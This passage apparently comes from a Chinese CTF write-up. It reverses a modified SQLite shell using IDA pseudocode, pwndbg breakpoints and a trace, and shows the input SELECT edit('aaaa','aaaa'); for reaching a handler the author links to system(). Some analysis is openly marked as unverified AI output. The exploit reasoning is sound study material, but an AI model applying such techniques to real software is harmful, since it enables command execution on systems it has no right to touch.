&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_99380(*a1, (unsignedint)"usleep",&nbsp;1,&nbsp;1,&nbsp;0, (unsignedint)sub_20070,&nbsp;0,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_99380(*a1, (unsignedint)"edit",&nbsp;1,&nbsp;1,&nbsp;0, (unsignedint)vuln,&nbsp;0,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_99380(*a1, (unsignedint)"edit",&nbsp;2,&nbsp;1,&nbsp;0, (unsignedint)vuln,&nbsp;0,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; n4 = *((_BYTE *)a1 +&nbsp;13);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( n4 ==&nbsp;3&nbsp;)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v36 = sub_A5610((unsignedint)"CREATE VIRTUAL TABLE zip USING zipfile(%Q);", (_DWORD)v12, v39, v40, a5, a6);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v37 = v36;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( !v36 )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_1F3D0();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_103B70(*a1, v36,&nbsp;0,&nbsp;0,&nbsp;0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p_sub_54D00(v37);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elseif&nbsp;( (unsigned&nbsp;__int8)(n4 -&nbsp;4) <=&nbsp;1u&nbsp;)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v41 =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( n4 ==&nbsp;4&nbsp;)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v34 = sub_1F120(v12, &v41);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v34 = sub_26770(a1, &v41);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( !v34 )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;v42 - __readfsqword(0x28u);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v35 = sub_12A5E0(*a1,&nbsp;"main", v34, v41, v41,&nbsp;3);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( v35 )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; __fprintf_chk(stderr,&nbsp;2,&nbsp;"Error: sqlite3_deserialize() returns %d\n", v35);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( (__int64)a1[19] >&nbsp;0&nbsp;)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub_69870(*a1,&nbsp;"main",&nbsp;36, a1 +&nbsp;19);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v7 = *a1;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( *a1 )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_2;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;v42 - __readfsqword(0x28u);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; fwrite("Also: unable to open substitute in-memory database.\n",&nbsp;1u,&nbsp;0x34u,&nbsp;stderr);
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp;&nbsp;exit(1);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;if&nbsp;( (_BYTE)n3 ==&nbsp;2&nbsp;)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; a2 = a1;
&nbsp; &nbsp; &nbsp; sub_F8F10(v12, a1, *((unsignedint&nbsp;*)a1 +&nbsp;16),&nbsp;"apndvfs");
&nbsp; &nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_14;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_32;
&nbsp; }
LABEL_2:
if&nbsp;( *((_BYTE *)a1 +&nbsp;18) )
&nbsp; &nbsp; sub_4E610(v7, sub_25FF0, a1);
return&nbsp;sub_595D0(*a1,&nbsp;1018, *((unsigned&nbsp;__int8 *)a1 +&nbsp;12),&nbsp;0, a5, a6);
}

我们可以看到这个函数的地址是sub_3E7B0，进入这个函数的话我们首先需要让choice>=3

我们这个时候点击为这个n赋值的函数追踪一下

__int64 __fastcall sub_3E500(char *filename, int a2, unsigned int a3)
{
unsignedint n2; // ebx
  FILE *stream_1; // rax
  FILE *stream; // r13
size_t v8; // rax
int v10; // eax
  __int64 v11; // rdi
int n100; // eax
  __int64 v13; // [rsp+0h] [rbp-A8h] BYREF
  __int64 v14; // [rsp+8h] [rbp-A0h] BYREF
  __int64 ptr; // [rsp+10h] [rbp-98h] BYREF
  __int64 v16; // [rsp+18h] [rbp-90h]
char n45; // [rsp+20h] [rbp-88h]
unsigned __int64 v18; // [rsp+78h] [rbp-30h]

  v18 = __readfsqword(0x28u);
  v13 = 0;
  v14 = 0;
if ( access(filename, 0) )
  {
LABEL_2:
    if ( a2 && !(unsignedint)sub_59BF0("%.zip", (size_t)filename) )
      return3;
    return1;
  }
  n2 = 0;
if ( (unsignedint)sub_F8F10(filename, &v13, a3, 0) )
  {
    sub_D4D70(v14);
    sub_D4D50(v13);
  }
else
  {
    v10 = sub_118810(v13, "SELECT count(*) FROM sqlite_schema", 0xFFFFFFFFLL, &v14, 0);
    v11 = v14;
    if ( !v10 )
    {
      n100 = sub_103140(v14);
      v11 = v14;
      if ( n100 == 100 )
      {
        sub_D4D70(v14);
        sub_D4D50(v13);
        return1;
      }
    }
    sub_D4D70(v11);
    sub_D4D50(v13);
  }
  stream_1 = fopen64(filename, "rb");
  stream = stream_1;
if ( !stream_1 )
    goto LABEL_2;
if ( fread(&ptr, 0x10u, 1u, stream_1) != 1 || v16 ^ 0x332074616D726FLL | ptr ^ 0x66206574694C5153LL )
  {
    fseek(stream, -25, 2);
    if ( fread(&ptr, 0x19u, 1u, stream) == 1 && !(v16 ^ 0x336574694C51532DLL | ptr ^ 0x664F2D7472617453LL) && n45 == 45 )
    {
      n2 = 2;
    }
    else
    {
      fseek(stream, -22, 2);
      v8 = fread(&ptr, 0x16u, 1u, stream);
      if ( v8 == 1 )
      {
        if ( (_BYTE)ptr != 80 || *(_WORD *)((char *)&ptr + 1) != 1355 || BYTE3(ptr) != 6 )
          goto LABEL_17;
      }
      elseif ( v8 || !a2 || (unsignedint)sub_59BF0("%.zip", (size_t)filename) )
      {
        goto LABEL_17;
      }
      n2 = 3;
    }
LABEL_17:
    fclose(stream);
    return n2;
  }
  fclose(stream);
return1;
}

• 如果文件不存在，且a2为真且文件不是”.zip”结尾，返回3
• 如果文件不存在，且a2为假或文件是”.zip”结尾，返回1
• 如果文件存在，且文件内容匹配特定格式，返回1
• 如果文件存在，且文件内容匹配另一种格式，返回2
• 如果文件存在，且文件内容匹配另一种格式，返回3

上面这里的话是ai的简单的分析，当然没有以前聊天记录的支持，为了写wp重开的新对话正确性待考证，大体是这样

返回值>3的没看到，但是等于3的通过跳转label标签的分析看出这个流来

然后我们暂且将这个函数命名为vuln__

在这个函数中，我挨着看了一下里面其他的封装的函数，找到了一个初始化的函数

  {
    n6_2 = p_n6[0] | 0x20000;
  }
  p_n6[0] = n6_2 & 0xFFF600E7;
  v10 = (_QWORD *)sub_589C0("/lib64/ld-linux-x86-64.so.2");
  v15 = v10;

完整的函数如下

__int64 __fastcall sub_F86E0(const char *p_:memory:_1, _QWORD *a2, __int64 n6, signed __int64 p_RTRIM_6)
{
constchar *p_:memory:; // rbx
unsigned __int64 p_RTRIM; // rsi
unsignedint n7_1; // r12d
int v8; // r12d
unsignedint n6_2; // r14d
  _QWORD *v10; // rax
constchar *p_temp; // rdx
  __int64 v12; // rcx
  __int64 v13; // r8
  __int64 v14; // r9
  _QWORD *v15; // rbp
  __int64 v16; // rax
  __m128i si128; // xmm0
int v18; // eax
  __m128i v19; // xmm0
  __m128i v20; // xmm0
  __int64 v21; // rax
int n70; // eax
unsignedint p_RTRIM_1; // eax
int v24; // r8d
int v25; // r9d
  __int64 v26; // rbx
char *v27; // rdx
  __int64 v28; // rdi
  __int64 v29; // rbx
unsignedint n7; // eax
unsignedint p_RTRIM_3; // eax
  __int64 v33; // r14
  __int64 v34; // rsi
  __int64 v35; // r12
  __int64 v36; // rdi
bool v37; // zf
  __int64 v38; // rax
  __int64 v39; // rdx
  __int64 v40; // rcx
  __int64 v41; // r8
  __int64 v42; // r9
int v43; // eax
  __int64 v44; // r14
  __int64 v45; // r8
  __int64 v46; // r9
  __int64 v47; // rcx
  __int64 v48; // rdx
unsignedint i; // r12d
  __int64 v50; // rax
  __int64 v51; // r15
  __int64 v52; // rdi
  __int64 v53; // rdi
  _QWORD *v54; // rdi
  _QWORD *v55; // rdi
  __int64 (__fastcall *p_RTRIM_4)(_QWORD *, _QWORD *, __int64 (__fastcall **)()); // rax
unsignedint p_RTRIM_5; // eax
int v58; // r8d
int v59; // r9d
  __int64 v60; // rdi
  __int64 v61; // rsi
  __int64 v62; // rax
  __int64 v63; // rdx
signed __int64 p_RTRIM_2; // [rsp+0h] [rbp-68h] BYREF
  _DWORD p_n6[3]; // [rsp+Ch] [rbp-5Ch] BYREF
  __int64 v66; // [rsp+18h] [rbp-50h] BYREF
  _QWORD v67[9]; // [rsp+20h] [rbp-48h] BYREF

  p_:memory: = p_:memory:_1;
  p_n6[0] = n6;
  p_RTRIM_2 = p_RTRIM_6;
  v67[1] = __readfsqword(0x28u);
  *a2 = 0;
  p_RTRIM = (unsignedint)::p_RTRIM;
  *(_QWORD *)&p_n6[1] = 0;
  v66 = 0;
if ( ::p_RTRIM )
  {
    _InterlockedOr64(&p_RTRIM_2, 0);
  }
else
  {
    n7_1 = sub_53410();
    if ( n7_1 )
      return n7_1;
    n7_1 = sub_A2DC0();
    if ( n7_1 )
      return n7_1;
  }
  v8 = 0;
  n6_2 = p_n6[0];
if ( (_BYTE)word_193964 )
  {
    if ( (p_n6[0] & 0x8000) == 0 )
    {
      v8 = 1;
      if ( (p_n6[0] & 0x10000) == 0 )
        v8 = HIBYTE(word_193964);
    }
  }
if ( (p_n6[0] & 0x40000) != 0 )
  {
    n6_2 = p_n6[0] & 0xFFFDFFFF;
  }
elseif ( dword_193AAC )
  {
    n6_2 = p_n6[0] | 0x20000;
  }
  p_n6[0] = n6_2 & 0xFFF600E7;
  v10 = (_QWORD *)sub_589C0("/lib64/ld-linux-x86-64.so.2");
  v15 = v10;
if ( !v10 )
  {
LABEL_24:
    v29 = *(_QWORD *)&p_n6[1];
    goto LABEL_25;
  }
  *v10 = 0;
  v10[98] = 0;
memset(
    (void *)((unsigned __int64)(v10 + 1) & 0xFFFFFFFFFFFFFFF8LL),
    0,
    8LL * (((unsignedint)v10 - (((_DWORD)v10 + 8) & 0xFFFFFFF8) + 792) >> 3));
if ( v8 )
  {
    if ( !(_BYTE)word_193964 || (v16 = xmmword_1939D0(1), (v15[3] = v16) == 0) )
    {
      v55 = v15;
      v15 = 0;
      p_sub_54D00(v55);
      v29 = *(_QWORD *)&p_n6[1];
      goto LABEL_25;
    }
    xmmword_1939E0(v16);
  }
  si128 = _mm_load_si128((const __m128i *)&xmmword_15E950);
  *((_BYTE *)v15 + 113) = 109;
  *((_BYTE *)v15 + 101) = 1;
  *((_BYTE *)v15 + 106) = -1;
  *(__m128i *)(v15 + 17) = si128;
  v18 = -((n6_2 & 0x2000000) != 0);
  v19 = _mm_load_si128((const __m128i *)&xmmword_15E960);
  LOBYTE(v18) = -1;
  *((_WORD *)v15 + 206) = 0;
  *((_DWORD *)v15 + 22) = v18;
  *(__m128i *)(v15 + 19) = v19;
  v20 = _mm_load_si128((const __m128i *)&xmmword_15E970);
  v15[4] = v15 + 83;
  *(__m128i *)((char *)v15 + 164) = v20;
  v21 = qword_193A88;
  *((_DWORD *)v15 + 10) = 2;
  v15[8] = v21;
  v15[25] = off_1956E0;                         // "ANY"
  v15[6] |= 0x70804480E0uLL;
  *((_DWORD *)v15 + 102) = 1;
  *((_DWORD *)v15 + 45) = 0;
  *((_DWORD *)v15 + 29) = 0;
  v15[77] = 0;
  v15[68] = 0;
  *((_OWORD *)v15 + 39) = 0;
  *(_OWORD *)(v15 + 69) = 0;
  sub_995E0(v15, "BINARY", 1, 0, &sub_53D50, 0);
  sub_995E0(v15, "BINARY", 3, 0, &sub_53D50, 0);
  sub_995E0(v15, "BINARY", 2, 0, &sub_53D50, 0);
  sub_995E0(v15, "NOCASE", 1, 0, sub_5CA70, 0);
  p_RTRIM = (unsigned __int64)"RTRIM";
  sub_995E0(v15, "RTRIM", 1, 0, &sub_53D90, 0);
if ( *((_BYTE *)v15 + 103) )
    goto LABEL_22;
  n70 = 70;
  *((_DWORD *)v15 + 19) = n6_2 & 0xFFF600E7;
if ( !_bittest(&n70, n6_2 & 7) )
  {
    sub_97500(
      21,
      (unsignedint)"%s at line %d of [%.10s]",
      (unsignedint)"misuse",
      188364,
      (unsignedint)"fb2c931ae597f8d00a37574ff67aeed3eced4e5547f9120744ae4bfa8e74527b",
      v14,
      p_RTRIM_2);
    p_RTRIM = 21;
LABEL_19:
    v26 = v66;
    v27 = "%s";
    if ( !v66 )
      LODWORD(v27) = 0;
    sub_8EFF0((_DWORD)v15, p_RTRIM, (_DWORD)v27, v66, v24, v25, p_RTRIM_2);
    p_sub_54D00(v26);
    goto LABEL_22;
  }
if ( !p_:memory:_1 )
    p_:memory: = ":memory:";
  p_RTRIM_1 = sub_C9140(p_RTRIM_2, p_:memory:, p_n6, v15, &p_n6[1], &v66);
  p_RTRIM = p_RTRIM_1;
if ( p_RTRIM_1 )
  {
    if ( p_RTRIM_1 == 7 && !*((_BYTE *)v15 + 103) && !*((_BYTE *)v15 + 104) )
    {
      LODWORD(p_RTRIM_2) = 7;
      sub_6F2D0(v15);
      p_RTRIM = (unsignedint)p_RTRIM_2;
    }
    goto LABEL_19;
  }
  v29 = *(_QWORD *)&p_n6[1];
  p_RTRIM_3 = sub_D78E0(*v15, *(_QWORD *)&p_n6[1], v15, v15[4] + 8LL, 0, p_n6[0] | 0x100u);
  p_RTRIM = p_RTRIM_3;
if ( p_RTRIM_3 )
  {
    if ( p_RTRIM_3 == 3082 )
      p_RTRIM = 7;
    *((_DWORD *)v15 + 20) = p_RTRIM;
    sub_5F910(v15);
    goto LABEL_22;
  }
  v33 = v15[4];
  v34 = *(_QWORD *)(v33 + 8);
if ( *(_BYTE *)(v34 + 17) )
  {
    ++*(_DWORD *)(v34 + 20);
    if ( !*(_BYTE *)(v34 + 18) )
    {
      sub_5A1B0(v34);
      v33 = v15[4];
    }
  }
  *(_QWORD *)(v33 + 24) = sub_747E0(v15);
if ( !*((_BYTE *)v15 + 103) )
  {
    v61 = *(unsigned __int8 *)(*(_QWORD *)(v15[4] + 24LL) + 113LL);
    *((_BYTE *)v15 + 100) = v61;
    v62 = sub_74A30(v15, v61, "BINARY", 0);
    v63 = v15[1];
    for ( v15[2] = v62; v63; v63 = *(_QWORD *)(v63 + 16) )
      *(_BYTE *)(v63 + 200) = *(_BYTE *)(v63 + 200) & 0xFC | 2;
  }
  v35 = v15[4];
  v36 = *(_QWORD *)(v35 + 8);
if ( *(_BYTE *)(v36 + 17) )
  {
    v37 = (*(_DWORD *)(v36 + 20))-- == 1;
    if ( v37 )
    {
      sub_4D850();
      v35 = v15[4];
    }
  }
  p_RTRIM = 0;
  *(_QWORD *)(v35 + 56) = sub_747E0(v15);
  v38 = v15[4];
  *(_QWORD *)v38 = "main";
  p_temp = "temp";
  *(_BYTE *)(v38 + 16) = 3;
  *(_QWORD *)(v38 + 32) = "temp";
  *(_BYTE *)(v38 + 48) = 1;
  v37 = *((_BYTE *)v15 + 103) == 0;
  *((_BYTE *)v15 + 113) = 118;
if ( !v37 )
  {
LABEL_22:
    v28 = v15[3];
    if ( v28 )
      xmmword_1939F0(v28);
    goto LABEL_24;
  }
  v37 = v15[49] == 0;
  *((_DWORD *)v15 + 20) = 0;
if ( v37 )
    *((_DWORD *)v15 + 21) = -1;
else
    sub_5F910(v15);
  p_RTRIM = (unsigned __int64)"MATCH";
if ( (unsignedint)sub_AB690(v15, "MATCH", 2) == 7 && !*((_BYTE *)v15 + 103) && !*((_BYTE *)v15 + 104) )
    sub_6F2D0(v15);
  v43 = sub_9CAA0(v15, "MATCH", v39, v40, v41, v42);
if ( v43 )
    goto LABEL_89;
  v44 = 1;
do
  {
    v43 = qword_191218[v44](v15);
    LOBYTE(v47) = v43 == 0;
&nbsp; &nbsp; LOBYTE(v48) = (int)v44++ <=&nbsp;6;
&nbsp; }
while&nbsp;( ((unsigned&nbsp;__int8)v48 & (v43 ==&nbsp;0)) !=&nbsp;0&nbsp;);
if&nbsp;( v43 )
&nbsp; {
LABEL_89:
&nbsp; &nbsp; *((_DWORD *)v15 +&nbsp;20) = v43;
&nbsp; &nbsp; sub_5F910(v15);
&nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_65;
&nbsp; }
if&nbsp;( !dword_197EF0 )
&nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_64;
for&nbsp;( i =&nbsp;0; (_BYTE)word_193964; ++i )
&nbsp; {
&nbsp; &nbsp; v50 = xmmword_1939D0(2);
&nbsp; &nbsp; v51 = v50;
&nbsp; &nbsp;&nbsp;if&nbsp;( !v50 )
&nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp; xmmword_1939E0(v50);
&nbsp; &nbsp;&nbsp;if&nbsp;( i >= dword_197EF0 )
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; xmmword_1939F0(v51);
&nbsp; &nbsp; &nbsp; v67[0] =&nbsp;0;
&nbsp; &nbsp; &nbsp; p_sub_54D00(0);
&nbsp; &nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_64;
&nbsp; &nbsp; }
&nbsp; &nbsp; p_RTRIM_2 = *(_QWORD *)(qword_197EF8 +&nbsp;8LL * i);
&nbsp; &nbsp; xmmword_1939F0(v51);
&nbsp; &nbsp; p_RTRIM_4 = (__int64 (__fastcall *)(_QWORD *, _QWORD *, __int64 (__fastcall **)()))p_RTRIM_2;
LABEL_73:
&nbsp; &nbsp; v67[0] =&nbsp;0;
&nbsp; &nbsp;&nbsp;if&nbsp;( p_RTRIM_4 )
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; p_RTRIM = (unsigned&nbsp;__int64)v67;
&nbsp; &nbsp; &nbsp; p_RTRIM_5 = p_RTRIM_4(v15, v67, off_191B60);
&nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;( p_RTRIM_5 )
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; p_RTRIM = p_RTRIM_5;
&nbsp; &nbsp; &nbsp; &nbsp; sub_8EFF0(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (_DWORD)v15,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p_RTRIM_5,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (unsignedint)"automatic extension loading failed: %s",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v67[0],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v58,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v59,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p_RTRIM_2);
&nbsp; &nbsp; &nbsp; &nbsp; p_sub_54D00(v67[0]);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_64;
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; v60 = v67[0];
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; v60 =&nbsp;0;
&nbsp; &nbsp; }
&nbsp; &nbsp; p_sub_54D00(v60);
&nbsp; }
if&nbsp;( i < dword_197EF0 )
&nbsp; {
&nbsp; &nbsp; p_RTRIM_4 = *(__int64 (__fastcall **)(_QWORD *, _QWORD *, __int64 (__fastcall **)()))(qword_197EF8 +&nbsp;8LL * i);
&nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_73;
&nbsp; }
&nbsp; v67[0] =&nbsp;0;
&nbsp; p_sub_54D00(0);
LABEL_64:
if&nbsp;( (unsignedint)sub_9CAA0(v15, p_RTRIM, v48, v47, v45, v46) )
&nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_22;
LABEL_65:
&nbsp; p_RTRIM =&nbsp;0;
&nbsp; sub_592F0(v15,&nbsp;0, (unsignedint)dword_193974, (unsignedint)dword_193978);
&nbsp; v52 = v15[3];
if&nbsp;( v52 )
&nbsp; {
&nbsp; &nbsp; xmmword_1939E0(v52);
&nbsp; &nbsp; v53 = v15[3];
&nbsp; &nbsp; v15[45] =&nbsp;1000;
&nbsp; &nbsp; v15[44] = sub_129B30;
&nbsp; &nbsp;&nbsp;if&nbsp;( v53 )
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; xmmword_1939F0(v53);
&nbsp; &nbsp; &nbsp;&nbsp;goto&nbsp;LABEL_22;
&nbsp; &nbsp; }
&nbsp; }
else
&nbsp; {
&nbsp; &nbsp; v15[45] =&nbsp;1000;
&nbsp; &nbsp; v15[44] = sub_129B30;
&nbsp; }
LABEL_25:
&nbsp; n7 = sub_9CAA0(v15, p_RTRIM, p_temp, v12, v13, v14);
&nbsp; n7_1 = n7;
if&nbsp;( (_BYTE)n7 ==&nbsp;7&nbsp;)
&nbsp; {
&nbsp; &nbsp; v54 = v15;
&nbsp; &nbsp; v15 =&nbsp;0;
&nbsp; &nbsp; sub_D4A80(v54,&nbsp;0);
&nbsp; }
elseif&nbsp;( n7 )
&nbsp; {
&nbsp; &nbsp; *((_BYTE *)v15 +&nbsp;113) =&nbsp;-70;
&nbsp; }
&nbsp; *a2 = v15;
if&nbsp;( v29 )
&nbsp; {
&nbsp; &nbsp;&nbsp;while&nbsp;( *(_BYTE *)(v29 -&nbsp;1) || *(_BYTE *)(v29 -&nbsp;2) || *(_BYTE *)(v29 -&nbsp;3) || *(_BYTE *)(v29 -&nbsp;4) )
&nbsp; &nbsp; &nbsp; --v29;
&nbsp; &nbsp; p_sub_54D00(v29 -&nbsp;4);
&nbsp; }
return&nbsp;n7_1;
}

这里暂且命名为__init

链子头函数的分析

我们再次回溯追踪的时候，看到了一大堆函数使用了__vuln函数，并且main函数中的长度很长，牵扯的条件很多，其实真逆向起来的话把握住逻辑架构的话也不是很难，比起那个box的rust，逆了一晚上才把握住逻辑架构（可能是我走弯路了，花了一半时间逆的没有用上，单纯只是初始化。。。），这个翻几遍看看差不多就能知道大体是怎么写的

    if ( strcmp(s1_1, "-unsafe-testing") )
    {
      __fprintf_chk(stderr, 2, "%s: Error: unknown option: %s\n", (constchar *)qword_197BC0, s1_1);
      fwrite("Use -help for a list of options.\n", 1u, 0x21u, stderr);
      return1;
    }
    goto LABEL_239;
  }
if ( ptr_1 - 1 != ptr_6 )
  {
    if ( ptr_1 == ++ptr_6 )
LABEL_248:
      sub_25FB0((unsignedint)ptr_1, a2, n2_8, v50);
    v187 = a2[ptr_7 + 1];
    if ( *v187 == 46 )
    {
      ptre = sub_40C30(v187, buf_);
      if ( ptre && dword_197BD8 )
      {
        ptre_3 = ptre;
        if ( ptre != 2 )
          return ptre_3;
        return0;
      }
    }
    else
    {
      vuln__(buf_, 0, n2_8, v50, v51, v52);
      ptre_4 = sub_3D6F0(buf_, v187, &v224);
      ptre = ptre_4;
      if ( v224 )
      {
        sub_16D50();
        p_sub_54D00(v224);
        if ( dword_197BD8 )
        {
          ptre_3 = ptre;
          if ( ptre )
            return ptre_3;
          return1;
        }
      }

我记得我方式推测在main中尝试用这个进入__vuln函数来着，然后再去找条件，后来发现，随便输入指令就能进入，当然这是在动调之后的事情了

然后大致上弄明白这个调用的链子，我们就可以开启动调了

对，查了查system(‘calculator’)这个执行确实是可以弹出来计算器的，然后着手动调走我们构造的链子

我们先标记几个断点的位置

b *$rebase(0x3E7B0)  这个是__vuln的位置

b *$rebase(0x212A0)  这个是vuln函数的位置

b *$rebase(0x2146D)  这个是执行system的位置

b *$rebase(0x3EB94||0x3EBD2)  这个是vuln函数在__vuln函数中执行位置

然后逐步配凑数据递进分析即可

可以看到，我们随便输入了点数据，就能进入这个__vuln函数，

wndbg> b *$rebase(0x3E7B0)
Breakpoint 1 at 0x5555555927b0
pwndbg> c
Continuing.
SQLite version 3.51.0 2025-11-04 19:38:17
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> aaa
   ...> ;

Breakpoint 1, 0x00005555555927b0 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────────────────────────────────────────
*RAX  0
*RBX  0x7fffffffce50 ◂— 0
*RCX  1
*RDX  0
*RDI  0x7fffffffce50 ◂— 0
*RSI  0
 R8   0
*R9   0x5555556b5c00 ◂— 0x202020403020001
*R10  0x5555556b2e24 ◂— 0xfff0b0ecfff0b13c
*R11  0x5555556bb6a0 ◂— 0
*R12  0x300
*R13  0x5555556ee370 ◂— 0x3b0a616161 /* 'aaa\n;' */
 R14  0
*R15  1
*RBP  5
*RSP  0x7fffffffc448 —▸ 0x555555593310 ◂— test byte ptr [rbx + 0x8c], 4
*RIP  0x5555555927b0 ◂— push r13
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x5555555927b0    push   r13
   0x5555555927b2    push   r12
   0x5555555927b4    push   rbp
   0x5555555927b5    push   rbx
   0x5555555927b6    mov    rbx, rdi                     RBX => 0x7fffffffce50 ◂— 0
   0x5555555927b9    sub    rsp, 0x18                    RSP => 0x7fffffffc410 (0x7fffffffc428 - 0x18)
   0x5555555927bd    mov    rdi, qword ptr [rdi]         RDI, [0x7fffffffce50] => 0
   0x5555555927c0    mov    rax, qword ptr fs:[0x28]     RAX, [0x7ffff7ea5ba8] => 0x19bbcb52e40b8100
&nbsp; &nbsp;0x5555555927c9 &nbsp; &nbsp;mov &nbsp; &nbsp;qword ptr [rsp + 8], rax &nbsp; &nbsp; [0x7fffffffc418] <= 0x19bbcb52e40b8100
&nbsp; &nbsp;0x5555555927ce &nbsp; &nbsp;xor &nbsp; &nbsp;eax, eax &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; EAX => 0
&nbsp; &nbsp;0x5555555927d0 &nbsp; &nbsp;test &nbsp; rdi, rdi &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0 & 0 &nbsp; &nbsp; EFLAGS => 0x246 [ cf PF af ZF sf IF df of ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffc448 —▸ 0x555555593310 ◂— test byte ptr [rbx + 0x8c], 4
01:0008│ &nbsp; &nbsp; 0x7fffffffc450 ◂— 0
... ↓ &nbsp; &nbsp; &nbsp; &nbsp;6 skipped
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
&nbsp;► 0 &nbsp; 0x5555555927b0 None
&nbsp; &nbsp;1 &nbsp; 0x555555593310 None
&nbsp; &nbsp;2 &nbsp; 0x55555559f5d1 None
&nbsp; &nbsp;3 &nbsp; 0x555555566766 None
&nbsp; &nbsp;4 &nbsp; 0x7ffff7c2a1ca __libc_start_call_main+122
&nbsp; &nbsp;5 &nbsp; 0x7ffff7c2a28b __libc_start_main+139
&nbsp; &nbsp;6 &nbsp; 0x555555568025 None
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

然后我们继续断点到vuln的c的时候

pwndbg> b *$rebase(0x212A0)
Breakpoint 2 at 0x5555555752a0
pwndbg> c
Continuing.
Parse error: near "aaa": syntax error
  aaa ;
  ^--- error here

就报错了，然后我们调整一下指令，结合ida分析

然后我们直接让ai分析一下，找到了返回3并且进入vuln函数的方法

• 第一个参数被用作文件名
• 第二个参数被传递给a2参数
• 我们让第二个参数是一个字符串指针，同时文件名不以”.zip”结尾，这样的话我们话我们就可以走这个分析了

SELECT edit(‘aaaa’,’aaaa’);

